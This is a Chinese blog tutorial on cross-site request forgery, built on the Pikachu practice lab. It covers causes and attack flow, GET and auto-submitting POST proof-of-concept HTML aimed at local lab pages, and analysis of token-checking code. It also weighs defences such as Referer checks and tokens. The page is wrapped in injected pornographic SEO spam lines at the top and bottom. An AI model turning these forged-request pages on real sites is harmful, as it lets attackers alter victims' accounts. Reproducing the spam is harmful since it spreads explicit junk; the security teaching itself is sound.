<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      CSRF漏洞

      CSRF漏洞

      /溫馨提示,學習漏洞最重要的是學會如何防護,而不是僅僅停留于攻擊/

      什么是csrf

      CSRF,全稱Cross-site request forgery,是指跨站請求偽造,通常縮寫為CSRF或者是XSRF。這個漏洞的實現就是通過偽裝利用受信任用戶的訪問權限,來進行篡改,盜取用戶數據,并且可以利用被攻擊用戶的賬號進行蠕蟲的傳播等危險操作。雖然他和xss跨站腳本攻擊聽起來很像,但他和xss非常不同,xss是,想辦法去竊取用戶Cookie,如果用戶Cookie被竊取,攻擊者可以不通過密碼,而直接登錄用戶賬戶,然后csrf是想辦法利用用戶的cookie進行攻擊。----網上有一句話說,如果把xss比作一頭在外狩獵猛虎,那么csrf就是一條隱藏起來的蛇,讓人防不勝防。

      csrf成因

      CSRF漏洞的成因就是網站的cookie在瀏覽器中不會過期,只要不關閉瀏覽器或者退出登錄,那以后只要是訪問這個都網站,會默認你已經登錄的狀態。而在這個期間,攻擊者發送了構造好的CSRF腳本或包含CSRF腳本的鏈接,可能會執行一些用戶不想做的功能(比如是添加賬號、ajax異步傳輸【通過JS去發送請求,然后獲取信息】。與釣魚網站不同,釣魚網站需要輸入賬號和密碼,而CSRF只需要訪問鏈接或者網頁即可。

       

      csrf原理

      圖解過程以及漏洞利用的點

       

       

      1.用戶使用瀏覽器正常訪問了網站A,并且成功輸入賬號密碼進行登錄;

      2.在用戶信息通過驗證后,網站A產生Cookie信息并返回給瀏覽器,此時用戶登錄網站A成功,可以正常發送請求到網站A;

      3.用戶在未關閉網站A,直接瀏覽器中訪問網站B

      4.網站B頁面中存在一些攻擊性的代碼,返回給用戶C,并發送一個請求訪問網站A

      5.瀏覽器接收到請求之后,根據攻擊網站B的請求,在用戶不知情的情況下,攜帶未過期的cookie值直接訪問網站A。但是網站A并不知情是用戶還是網站B的請求,所以會根據用戶C的cookie權限執行這個請求,最后導致網站B中的惡意代碼被執行。

      分析:在整個攻擊過程中,需要滿足三點才能造成csrf攻擊的實現

      1.用戶登錄了網站A并且產生了本地cookie

      2.在用戶沒有退出站點 A 的情況下(也就是 cookie 生效的情況下),訪問了惡意網站B(B)

      3.網站A做的防護不能夠抵御攻擊者的請求

       

      csrf的利用

       

      這里就寫一些自己在學習過程中的學習的方法,,簡單的直接省略,,挑中點的寫

      csrf分類

      1. get型

        假設以為vince用戶的需要修改個人信息,我們用bp攔截看一下請求

         

         

        構造惡意代碼,直接進行攻擊

      <html>
         <a href="http://127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=1111111111111&phonenum=333333&add=chain&email=vince%40pikachu.com&submit=submit"></a>
      </html>
      1. POST型

      post請求和get請求不同的是,我們需要攻擊者自己寫一個利用漏洞的html的代碼,并發給用戶請求這個html文件的鏈接。

      比如針對這一關,將包含如下html代碼的文件(假設文件名為jiaoben.html)放入攻擊者的電腦,比如192.168.1.11;

      然后在攻擊者電腦上起http服務,比如python3 -m http.server 80

      再將鏈接http://192.168.1.11/pikachu-master/vul/scrf/jiaoben.html發送給登錄狀態的用戶

      用戶點擊鏈接之后,就可以修改信息(用戶點擊連接后就會執行攻擊者事先準備好的惡意代碼)

       

      <html>
      <head>
      <script>
      window.onload = function() {
       document.getElementById("postsubmit").click();
      }
      </script>
      </head>
      <body>
      <form method="post" action="http://127.0.0.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
         <input id="sex" type="text" name="sex" value="girl" />
         <input id="phonenum" type="text" name="phonenum" value="12345678922" />
         <input id="add" type="text" name="add" value="hacker" />
         <input id="email" type="text" name="email" value="lucy@pikachu.com" />
         <input id="postsubmit" type="submit" name="submit" value="submit" />
      </form>
      </body>
      </html>

       

      csrf后臺源碼分析學習

      $link=connect();
      // 判斷是否登錄,沒有登錄不能訪問
      if(!check_csrf_login($link)){
      //   echo "<script>alert('登錄后才能進入會員中心哦')</script>";
         header("location:csrf_post_login.php");
      }

      代碼段會檢查用戶是否登錄,如果用戶沒有登錄的前提下就進行攻擊,那就會返回登錄界面.

       

       

      <?php
      /*
      修改用戶信息的代碼
      */
      if(isset($_GET['submit'])){
         if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token']){ //這里對token進行驗證
             //轉義
             $getdata=escape($link, $_GET);
             
             $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
             $result=execute($link, $query);
             //沒有修改,點擊提交,也算修改成功
             if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
                 header("location:token_get.php");
            }else {
                 $html1.="<p>修改失敗,請重新登錄</p>";
      ?
            }
        }
      }
      //生成token
      set_token();
      ?
      ?>

      看一下代碼,修改用戶信息時,服務器會比較url中的token字段和session中的token字段,如果相同才能修改用戶信息

      mysqli_affected_rows() 函數返回前一次 MySQL 操作(SELECT、INSERT、UPDATE、REPLACE、DELETE)所影響的記錄行數。

       

      //生成一個隨機的token值
      function set_token(){
         if(isset($_SESSION['token'])){
         unset($_SEESSION['token']);} // 銷毀一個seession變量
         
         $_SESSION['token']=str_replace('.','',uniqid(mt_rand(10000,9999),true));
      }

       

      set_token()函數對在生成新的token之前會銷毀先前token

      uniqid(prefix,more_entropy)函數基于以微秒計的當前時間,生成一個唯一的 ID。 當prefix為空則返回的字符串有 13 個字符串長。如果 more_entropy 參數設置為 true,則是 23 個字符串長。

       

      csrf的防護

      根據csrf的利用,我們知道csrf 的防護可以從瀏覽器、服務器端進行改進。

       

      1、驗證HTTP Referer字段; 根據 HTTP 協議,在 HTTP 頭中有一個字段叫 Referer,它記錄了該 HTTP 請求的來源地址。在通常情況下,訪問一個安全受限頁面的請求來自于同一個網站。而如果黑客要對銀行網站實施 CSRF 攻擊,他只能在他自己的網站構造請求,當用戶通過黑客的網站發送請求到銀行時,該請求的 Referer 是指向黑客自己的網站。

      這種方法的顯而易見的好處就是簡單易行,網站的普通開發人員不需要操心 CSRF 的漏洞,只需要在最后給所有安全敏感的請求統一增加一個攔截器來檢查 Referer 的值就可以。

      方法的弊端

      然而,這種方法并非萬無一失。Referer 的值是由瀏覽器提供的,雖然 HTTP 協議上有明確的要求,但是每個瀏覽器對于 Referer 的具體實現可能有差別,并不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法,就是把安全性都依賴于第三方(即瀏覽器)來保障,從理論上來講,這樣并不安全。事實上,對于某些瀏覽器,比如IE6 或 FF2,目前已經有一些方法可以篡改 Referer 值。如果 網站支持IE6 瀏覽器,黑客完全可以把用戶瀏覽器的 Referer 值設為以 bank.example 域名開頭的地址,這樣就可以通過驗證,從而進行 CSRF 攻擊。 即便是使用最新的瀏覽器,黑客無法篡改 Referer 值,這種方法仍然有問題。因為 Referer 值會記錄下用戶的訪問來源,有些用戶認為這樣會侵犯到他們自己的隱私權,特別是有些組織擔心 Referer 值會把組織內網中的某些信息泄露到外網中。因此,用戶自己可以設置瀏覽器使其在發送請求時不再提供 Referer。當他們正常訪問銀行網站時,網站會因為請求沒有 Referer 值而認為是 CSRF 攻擊,拒絕合法用戶的訪問。

       

      2.在請求地址中添加 token 并驗證

      CSRF 攻擊之所以能夠成功,是因為黑客可以完全偽造用戶的請求,該請求中所有的用戶驗證信息都是存在于 cookie 中,因此黑客可以在不知道這些驗證信息的情況下直接利用用戶自己的 cookie 來通過安全驗證。要抵御 CSRF,關鍵在于在請求中放入黑客所不能偽造的信息,并且該信息不存在于 cookie 之中。可以在 HTTP 請求中以參數的形式加入一個隨機產生的 token,并在服務器端建立一個攔截器來驗證這個 token,如果請求中沒有 token 或者 token 內容不正確,則認為可能是 CSRF 攻擊而拒絕該請求。 ? 這種方法要比檢查 Referer 要安全一些,token 可以在用戶登陸后產生并放于 session 之中,然后在每次請求時把 token 從 session 中拿出,與請求中的 token 進行比對,但這種方法的難點在于如何把 token 以參數的形式加入請求。對于 GET 請求,token 將附在請求地址之后,這樣 URL 就變成 http://url?csrftoken=tokenvalue。 而對于 POST 請求來說,要在 form 的最后加上 <input type="hidden" name="csrftoken" value="tokenvalue"/>,這樣就把 token 以參數的形式加入請求了。但是,在一個網站中,可以接受請求的地方非常多,要對于每一個請求都加上 token 是很麻煩的,并且很容易漏掉,通常使用的方法就是在每次頁面加載時,使用 javascript 遍歷整個 dom 樹,對于 dom 中所有的 a 和 form 標簽后加入 token。這樣可以解決大部分的請求,但是對于在頁面加載之后動態生成的 html 代碼,這種方法就沒有作用,還需要程序員在編碼時手動添加 token。

      方法弊端:

      該方法還有一個缺點是難以保證 token 本身的安全。特別是在一些論壇之類支持用戶自己發表內容的網站,黑客可以在上面發布自己個人網站的地址。由于系統也會在這個地址后面加上 token,黑客可以在自己的網站上得到這個 token,并馬上就可以發動 CSRF 攻擊。為了避免這一點,系統可以在添加 token 的時候增加一個判斷,如果這個鏈接是鏈到自己本站的,就在后面添加 token,如果是通向外網則不加。不過,即使這個 csrftoken 不以參數的形式附加在請求之中,黑客的網站也同樣可以通過 Referer 來得到這個 token 值以發動 CSRF 攻擊。這也是一些用戶喜歡手動關閉瀏覽器 Referer 功能的原因。

      3.在 HTTP 頭中自定義屬性并驗證

      4.輸舊密碼,我們修改密碼有時候需要輸入舊密碼,這種情況下打不出CSRF漏洞。

      5.如果存在xss漏洞,token防御將無效

      posted @ 2022-10-14 21:36  Liberty碼農志  閱讀(91)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 国产熟女一区二区三区蜜臀| 九九热视频在线精品18| 亚洲欧美日韩愉拍自拍| 亚洲午夜久久久久久噜噜噜| 都市激情 在线 亚洲 国产| 人妻中文字幕一区二区视频| 美女禁区a级全片免费观看| 亚洲av无码精品色午夜蛋壳| 亚洲精品久久一区二区三区四区| 亚洲日韩久久综合中文字幕| 色欲久久综合亚洲精品蜜桃| 99久久精品久久久久久婷婷| 国产地址二永久伊甸园| 亚洲人成色77777在线观看| 视频一区视频二区视频三区| 艳妇臀荡乳欲伦69调教视频| 色www永久免费视频| 亚洲精品人成网线在播放VA| 亚洲精品无码久久千人斩| 日韩精品毛片一区到三区| 欧美颜射内射中出口爆在线| 胶州市| 九九热精品免费在线视频| 久久影院九九被窝爽爽| 少妇高潮水多太爽了动态图| 日本无产久久99精品久久| 蜜桃久久精品成人无码av| 中文字幕av无码免费一区| 国产精品成人网址在线观看| 亚洲一区二区三区av链接| 久久精品丝袜高跟鞋| 久热这里只有精品6| 亚洲第一成人网站| 人妻久久久一区二区三区| 久久国产免费观看精品3| 国产成人无码综合亚洲日韩| 日韩av一区二区高清不卡| 国产一区二区三区乱码| 亚洲综合激情五月色一区| 最新亚洲人成网站在线影院| 亚洲乳大丰满中文字幕|